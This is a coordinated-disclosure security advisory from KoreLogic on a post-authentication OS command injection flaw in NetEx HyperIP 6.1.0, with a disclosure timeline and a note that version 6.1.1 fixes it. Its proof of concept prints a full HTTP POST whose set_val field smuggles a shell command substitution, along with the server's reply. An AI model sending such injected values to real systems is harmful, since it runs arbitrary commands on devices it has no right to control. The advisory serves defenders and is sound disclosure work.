KL-001-2018-003 : NetEx HyperIP Post-Auth Command Execution Title: NetEx HyperIP Post-Auth Command Execution Advisory ID: KL-001-2018-003 Publication Date: 2018.02.08 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-003.txt 1. Vulnerability Details Affected Vendor: NetEx Affected Product: HyperIP Affected Version: 6.1.0 Platform: Embedded Linux CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command, CWE-250: Execution with Unnecessary Privileges Impact: Arbitrary Command Execution Attack vector: HTTPS 2. Vulnerability Description A command injection vulnerability can be leveraged to execute operating system commands. 3. Technical Description A POST variable is handled unsafely, allowing execution of arbitrary commands with the privileges of the webserver process. In the below example, set_val= is used to copy an existing executable file into a writable directory. POST /hypmisc.php HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 Cookie: auth-token=b6b73844ce4df64f459948c5475a1096 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 99 set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh /var/ftp/pub/updates/a.run)&perm=on&submit=Set HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 07:20:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1057 Connection: close Content-Type: text/html; charset=UTF-8 4. Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.24 - KoreLogic submits vulnerability details to NetEx. 2017.07.24 - NetEx confirms receipt. 2017.08.16 - NetEx informs KoreLogic that this and other reported vulnerabilities have been addressed in the forthcoming release. ETA as of yet undetermined. 2017.09.05 - 30 business days have elapsed since the vulnerability was reported to NetEx. 2017.09.19 - NetEx informs KoreLogic that the forthcoming release 6.1.1 is expected to ship at the end of January 2018. 2017.09.26 - 45 business days have elapsed since the vulnerability was reported to NetEx. 2017.12.01 - 90 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.17 - 120 business days have elapsed since the vulnerability was reported to NetEx. 2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release has gone live. 2018.02.08 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt